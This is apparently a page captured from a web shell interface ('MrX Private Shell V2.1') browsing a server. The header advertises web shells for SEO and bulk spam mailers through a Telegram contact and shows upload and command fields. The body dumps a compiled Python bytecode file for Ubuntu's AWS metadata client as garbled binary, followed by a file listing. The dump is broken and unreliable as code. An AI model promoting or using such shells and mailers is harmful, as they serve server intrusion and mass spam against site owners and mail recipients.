__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�����SSKrSSKrSSKJrJr SSKJrJrJrJ	r	J
r
 SSKJr Sr
Sr\
\4rSrSrS	rS
rSrSrS
rSr\S-r\R2"\
R4"\55r"SS\5rg)�N)�Any�Dict)�
exceptions�http�secret_manager�system�util)�PublicCloudAutoAttachInstancez169.254.169.254z[fd00:ec2::254]zhttp://{}/latest/api/tokenz0http://{}/latest/dynamic/instance-identity/pkcs7z3http://{}/latest/dynamic/instance-identity/documentz/sys/hypervisor/uuidz /sys/class/dmi/id/product_serialz/sys/class/dmi/id/product_uuid�21600zX-aws-ec2-metadata-tokenz-ttl-secondsc��\rSrSrSrSrS\4Sjr\\	R"\R/SQS9S\
\\44Sj55r\	R"\R/SQS9S\
4S	j5r\S\4S
j5rSr\	R"\R/SQS9S
5r\S\4Sj5r\S\4Sj5rS\4SjrS\S\4SjrSrg)�AWSAutoAttachInstance�N�urlc��[R"XSS9nURS:XaUR$[R
"URURS9e)N�)�headers�timeout����code�body)r�readurlrrr�CloudMetadataError)�selfrr�responses    �5/usr/lib/python3/dist-packages/uaclient/clouds/aws.py�_get_imds_url_response�,AWSAutoAttachInstance._get_imds_url_responsesH���<�<��a�@���=�=�C���=�=� ��/�/��]�]�����
�)g�?rr)�retry_sleeps�returnc���UR5n[RUR5nUR	X!S9n[
RRU5 SU0$)N�r�pkcs7)�_request_imds_v2_token_headers�IMDS_URL�format�_ip_addressrr�secrets�
add_secret)rrr�imds_url_responses    r�identity_doc�"AWSAutoAttachInstance.identity_doc*s[���5�5�7���o�o�d�.�.�/�� �7�7��7�M�����)�)�*;�<��*�+�+rc��UR5n[RUR5n[R
"UR
X!S95nU$![Ra"n[RSU5 0sSnA$SnAff=f)z�
Get the instance identity doc associated with the current instance.

See
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/retrieve-iid.html
for more context.

@return: Dict containing the instance identity document.
r#z-Error decoding instance identity document: %sN)
r%�
_IMDS_IID_URLr'r(�json�loadsr�JSONDecodeError�LOG�debug)rrr�ii_doc�es     r�_get_ii_doc�!AWSAutoAttachInstance._get_ii_doc3s���5�5�7���"�"�4�#3�#3�4��	��Z�Z��+�+�C�+�A��F��
���#�#�	��I�I�E�q�I��I��	�s�#A�B�*B�B�Bc��UR5nURSS5nURSS5n[U5=(d [U5$)z�
Determines if the instance is likely Ubuntu Pro.

Criteria: if any billing-product or marketplace-product-code is
present, then is likely a Pro instance.

@return: Boolean indicating if the instance is likely pro or not.
�billingProductsN�marketplaceProductCodes)r7�get�bool)rr5�billing_products�marketplace_product_codess    r�
is_likely_pro�#AWSAutoAttachInstance.is_likely_proIsM���!�!�#��!�:�:�&7��>��$*�J�J�/H�$�$O�!��$�%�H��.G�)H�Hrc�(�[HnURUS9nXl O URc'[R"SR[5S9eW$![a-n[RSU[
USS55 SnAM�SnAff=f)N)�
ip_addressz*Could not reach AWS IMDS at http://%s: %s
�reason�z, )�	addresses)
�IMDS_IP_ADDRESS�_get_imds_v2_token_headersr(�	Exceptionr3�warning�getattrr�AWSNoValidIMDS�join)r�addressrr6s    rr%�4AWSAutoAttachInstance._request_imds_v2_token_headersXs���&�G�

��9�9�W�9�M��$+� ��'����#��+�+��)�)�O�4��
�����
����A���A�x��,����
�s�A�
B�$"B�B)r��c��URS:XagUR(a[UR0$[R"[RU5S[[0SS9nURS:XaLURUl[RRUR5 [UR0$URS:XaSUlg[R"URURS9e)N�IMDSv1�PUTr)�methodrrri�r)�
_api_token�AWS_TOKEN_PUT_HEADERrr�IMDS_V2_TOKEN_URLr'�AWS_TOKEN_REQ_HEADER�AWS_TOKEN_TTL_SECONDSrrrr)r*rr)rrCrs   rrH�0AWSAutoAttachInstance._get_imds_v2_token_headersks����?�?�h�&��
�_�_�(�$�/�/�:�:��<�<��$�$�Z�0��)�+@�A��	
���=�=�C��&�m�m�D�O��"�"�-�-�d�o�o�>�(�$�/�/�:�:��=�=�C��&�D�O���+�+����X�]�]�
�	
rc��g)N�aws��rs r�
cloud_type� AWSAutoAttachInstance.cloud_type����rc�>�[R"[5nSUSS:Xag[R"[5R5n[R"[5R5nSUSSs=:Xa
USS:Xag gg![a Ntf=f)z$This machine is a viable AWSInstance�ec2r�TF)r�	load_file�SYS_HYPERVISOR_PRODUCT_UUID�FileNotFoundError�DMI_PRODUCT_UUID�lower�DMI_PRODUCT_SERIAL)r�hypervisor_uuid�dmi_uuid�
dmi_serials    r�	is_viable�AWSAutoAttachInstance.is_viable�s���	�$�.�.�/J�K�O����!�,�,��-��#�#�$4�5�;�;�=���%�%�&8�9�?�?�A�
��H�Q�q�M�4�Z��!�_�4��5���!�	�
�	�s�#B�
B�Bc��g)�UnsupportedFr^r_s r�should_poll_for_pro_license�1AWSAutoAttachInstance.should_poll_for_pro_license�rbr�wait_for_changec�,�[R"5e)N)r�InPlaceUpgradeNotSupportedError)rrus  r�is_pro_license_present�,AWSAutoAttachInstance.is_pro_license_present�s���8�8�:�:r)rVr()�__name__�
__module__�__qualname__�__firstlineno__rVr(�strr�propertyr	�retryrrrrr,r7r=r@r%rHr`rorsrx�__static_attributes__r^rrr
r
s ���J��K��#���	�Z�Z�
�-�-�K�H�,�d�3��8�n�,�I��,�
�Z�Z�
�-�-�K�H��T��I��*�I�t�I��I��&
�Z�Z�
�-�-�I�F�
�G�
�0��C������4����"�T��;��;�$�;rr
)r0�logging�typingrr�uaclientrrrrr	�uaclient.cloudsr
�IMDS_IPV4_ADDRESS�IMDS_IPV6_ADDRESSrGrXr&r/rgrkrirZrWrY�	getLogger�replace_top_level_logger_namerzr3r
r^rr�<module>r�s������C�C�9�%��%��$�&7�8��0��=��E�
�4��7��3����1��+�n�<��
����:�:�8�D�E��D;�9�D;r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.21 KB 0644
aws.cpython-313.pyc File 7.89 KB 0644
azure.cpython-313.pyc File 4.42 KB 0644
gcp.cpython-313.pyc File 6.52 KB 0644
identity.cpython-313.pyc File 4.49 KB 0644
lxd.cpython-313.pyc File 3.64 KB 0644
Filemanager